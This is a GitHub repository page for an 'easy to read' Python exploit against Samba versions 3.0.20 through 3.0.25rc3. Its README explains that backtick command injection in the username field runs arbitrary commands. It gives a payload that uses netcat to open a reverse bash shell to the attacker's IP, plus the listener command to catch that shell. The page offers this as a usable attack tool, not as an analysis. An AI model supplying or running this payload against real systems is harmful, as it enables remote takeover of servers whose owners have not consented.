Skip to content

Easy to read Python script for exploiting Samba versions 3.0.20 through 3.0.25rc3

Notifications You must be signed in to change notification settings

Patchyst/Samba_usermap_exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 

Repository files navigation

Samba-versions-3x-4x-remote-code-execution-exploit-

Easy to read Python script for exploiting Samba versions 3.0.20 through 3.0.25rc3

How it works and how to use it:

The payload for this script lies in the user field. This particular version of samba accepts metacharacters used in shell scripting for command line execution: `command to run ` By inserting the ticks into the user field one can execute any command on the target computer.

user = "`" + "nc <YOUR IP ADDRESS> 9999 -e /bin/bash" + "`"

In my case I used netcat to gain a remote bash shell on the target computer. If you intend to do the same, make sure to set up a listening port to catch the bash shell. Example:

nc -lvp 9999

About

Easy to read Python script for exploiting Samba versions 3.0.20 through 3.0.25rc3

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages